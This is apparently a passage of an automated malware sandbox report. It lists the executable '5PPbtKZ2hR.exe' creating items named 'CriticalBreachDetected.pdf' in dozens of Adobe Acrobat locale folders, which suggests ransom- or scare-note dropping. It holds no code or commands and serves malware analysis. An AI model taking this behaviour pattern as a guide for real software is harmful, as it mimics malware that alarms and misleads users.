Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\ca-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\cs-cz\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\da-dk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\de-de\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\en-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\en-gb\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\en-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\es-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\eu-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\fi-fi\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\fr-fr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\fr-ma\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\he-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\hr-hr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\hu-hu\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\it-it\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\ja-jp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\ko-kr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\nb-no\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\nl-nl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\pl-pl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\pt-br\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\ro-ro\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\root\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\ru-ru\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\sk-sk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\sl-si\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\sl-sl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\sv-se\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\tr-tr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\uk-ua\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\zh-cn\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\zh-tw\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app-api\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app-api\dev\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\ar-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\ca-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\cs-cz\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\da-dk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\de-de\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\en-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\en-gb\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\en-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\es-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\eu-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\fi-fi\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\fr-fr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\fr-ma\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\he-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\hr-hr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\hu-hu\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\it-it\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\ja-jp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\ko-kr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\nb-no\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\nl-nl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\pl-pl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\pt-br\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\ro-ro\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\root\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\ru-ru\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\sk-sk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\sl-si\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\sl-sl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\sv-se\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\tr-tr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\uk-ua\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\zh-cn\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\zh-tw\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\ar-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\ca-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\cs-cz\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\da-dk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\de-de\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\en-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\en-gb\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\en-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\es-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\eu-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\fi-fi\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\fr-fr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\fr-ma\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\he-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\hr-hr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\hu-hu\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\it-it\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\ja-jp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\ko-kr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\nb-no\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\nl-nl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\pl-pl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\pt-br\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\ro-ro\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\root\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\ru-ru\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\sk-sk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\sl-si\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\sl-sl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\sv-se\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\tr-tr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\uk-ua\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\zh-cn\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\zh-tw\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\libs\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\libs\jquery.ui.touch-punch\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\libs\jquery.ui.touch-punch\0.2.2\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\libs\microsoftGraph\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\libs\require\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\libs\require\2.1.15\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\misc\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\css\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\images\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ar-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ca-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\cs-cz\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\da-dk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\de-de\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\en-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\en-gb\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\en-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\es-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\eu-es\CriticalBreachDetected.pdf	Jump to behavior
